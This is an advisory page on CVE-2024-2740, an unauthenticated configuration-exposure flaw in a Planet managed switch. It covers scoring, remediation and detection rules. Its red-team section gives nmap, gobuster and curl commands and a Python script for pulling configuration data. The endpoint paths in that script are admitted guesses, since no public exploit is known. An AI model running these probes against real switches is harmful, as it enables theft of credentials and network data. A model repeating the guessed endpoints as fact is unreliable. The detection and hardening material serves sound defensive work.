CVE-2024-2740
Executive Summary
CVE-2024-2740 is an information exposure vulnerability affecting the Planet IGS-4215-16T2S managed switch, specifically firmware version 1.305b210528. The flaw allows a remote, unauthenticated attacker to access administrative resources due to improper access control on the switch's web interface. This can lead to the disclosure of sensitive configuration data, network topology information, and potentially credentials, enabling further network compromise. The vulnerability has a CVSS score of 7.7 (High), and while no public exploit code or proof-of-concept is currently available, the attack vector is network-based with low complexity, making it a significant risk for exposed devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 7.7 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None – No authentication is needed to exploit the flaw.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Unchanged – The exploit does not affect other components beyond the vulnerable switch.
- Confidentiality (C): High – Sensitive administrative resources are exposed.
- Integrity (I): None – No data modification is possible.
- Availability (A): None – No denial-of-service impact.
Threat Level: High. The combination of network accessibility, low complexity, and no required authentication makes this a prime target for automated scanning and exploitation, especially for internet-facing industrial or enterprise network devices.
Deep Dive & Mechanics
The vulnerability resides in the web-based management interface of the Planet IGS-4215-16T2S switch. The switch fails to properly enforce access controls on certain administrative endpoints, allowing an unauthenticated remote attacker to retrieve sensitive information. This is a classic case of CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Root Cause: The web server does not validate session tokens or authentication status for specific API endpoints or static resources that contain configuration data, user lists, or network settings. This could be due to:
- Missing authentication middleware on certain routes.
- Hardcoded or predictable resource identifiers that bypass access checks.
- Improper HTTP method restrictions (e.g., GET requests allowed without authentication).
Attack Scenario:
- An attacker scans for exposed Planet IGS-4215-16T2S switches using Shodan or similar tools.
- The attacker sends crafted HTTP requests to known administrative endpoints (e.g.,
/config.cgi,/status,/backup). - The switch responds with sensitive data such as:
- Running configuration (VLANs, SNMP community strings, admin credentials).
- Network topology information (LLDP/CDP data).
- Firmware version and patch levels.
- The attacker uses this information to pivot deeper into the network or launch further attacks.
Vulnerable vs. Patched Code
Since no official patch or source code is available, the following is a hypothetical comparison based on common fixes for such vulnerabilities.
Vulnerable Code (Conceptual):
# app.py - Vulnerable web server
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/admin/config')
def get_config():
# No authentication check
config = load_config()
return jsonify(config)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Patched Code (Conceptual):
# app.py - Patched web server
from flask import Flask, request, jsonify, abort
from functools import wraps
app = Flask(__name__)
def require_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth_header = request.headers.get('Authorization')
if not auth_header or not validate_token(auth_header):
abort(401)
return f(*args, **kwargs)
return decorated
@app.route('/admin/config')
@require_auth
def get_config():
config = load_config()
return jsonify(config)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Key Differences:
- The patched version introduces an authentication decorator (
@require_auth) that validates a token or session before serving sensitive endpoints. - The vulnerable version lacks any access control, allowing unauthenticated requests to reach administrative functions.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Planet IGS-4215-16T2S switch running firmware 1.305b210528.
- Network access to the switch's management interface (typically port 80 or 443).
- Tools:
curl,nmap,Burp Suite, or custom Python scripts.
Step-by-Step Exploitation:
Discovery:
nmap -p 80,443 --script http-title <target_ip>Enumerate Endpoints: Use a wordlist of common administrative paths:
gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirb/common.txt -x cgi,html,phpExtract Sensitive Data:
curl -v http://<target_ip>/config.cgi curl -v http://<target_ip>/backup/config.bin curl -v http://<target_ip>/statusAutomated Exploit (Python):
import requests target = "http://192.168.1.100" endpoints = ["/config.cgi", "/status", "/backup/config.bin", "/admin"] for endpoint in endpoints: r = requests.get(target + endpoint) if r.status_code == 200 and len(r.text) > 100: print(f"[+] Found: {endpoint}") print(r.text[:500])
Expected Output: Configuration files containing SNMP community strings, admin credentials (possibly hashed), VLAN assignments, and network device lists.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual HTTP requests to administrative paths from unknown IPs.
- Alert on repeated 200 responses to
/config.cgi,/backup, or/statusfrom unauthenticated sources. - Use network flow analysis to detect scanning patterns (e.g., sequential IP probes on port 80/443).
Hardening:
Immediate Mitigation:
- Restrict management interface access to trusted IPs only using firewall rules.
- Disable the web interface if not required; use CLI/SSH instead.
- Change default credentials immediately.
Long-term Fix:
- Apply vendor patch when available.
- Implement network segmentation for OT/industrial devices.
- Use a VPN or jump host for management access.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to paths:
/config.cgi,/backup/config.bin,/status,/admin - Source IPs performing repeated scans on port 80/443 of Planet switches.
- Unusual outbound data transfers from the switch (e.g., large HTTP responses to external IPs).
File IOCs:
- Configuration files containing cleartext or weakly hashed credentials.
- Backup files (
.bin,.cfg) downloaded from the switch.
Log IOCs:
- Web server logs showing 200 responses to unauthenticated requests for sensitive paths.
- Absence of authentication failures (401/403) for administrative endpoints.
Detection Engineering
YARA Rule
rule CVE_2024_2740_Planet_IGS_Exposure {
meta:
description = "Detects HTTP responses from Planet IGS-4215-16T2S exposing config data"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-2740"
strings:
$config_header = "Content-Type: application/octet-stream"
$config_data = "snmp-server community" nocase
$admin_creds = "admin password" nocase
$vlan_data = "vlan" nocase
condition:
any of ($config_header) and any of ($config_data, $admin_creds, $vlan_data)
}
Sigma Rule
title: Planet IGS-4215-16T2S Unauthenticated Config Access
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to sensitive endpoints on Planet switches
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-2740
tags:
- attack.t1190
- cve.2024.2740
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-stem:
- '/config.cgi'
- '/backup/config.bin'
- '/status'
- '/admin'
condition: selection
falsepositives:
- Legitimate administrative access from trusted IPs
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"CVE-2024-2740 Planet IGS Config Exposure"; flow:to_server,established; content:"GET"; http_method; content:"/config.cgi"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"CVE-2024-2740 Planet IGS Backup Access"; flow:to_server,established; content:"GET"; http_method; content:"/backup/config.bin"; http_uri; classtype:attempted-recon; sid:1000002; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"CVE-2024-2740 Planet IGS Status Page"; flow:to_server,established; content:"GET"; http_method; content:"/status"; http_uri; classtype:attempted-recon; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Place the switch on a dedicated management VLAN with strict ACLs.
- Access Control: Use firewall rules to allow only trusted administrative IPs to access the web interface.
- Disable Web Interface: If CLI/SSH is sufficient, disable HTTP/HTTPS management entirely.
- Change Default Credentials: Ensure all default passwords are changed.
Vendor Patch:
- Monitor Planet's official support portal for firmware updates.
- Contact Planet support for a patched firmware version.
Long-term Recommendations:
- Implement a vulnerability management program for OT/IoT devices.
- Use network monitoring tools to detect anomalous HTTP traffic.
- Conduct regular security assessments of network infrastructure.
Valters IT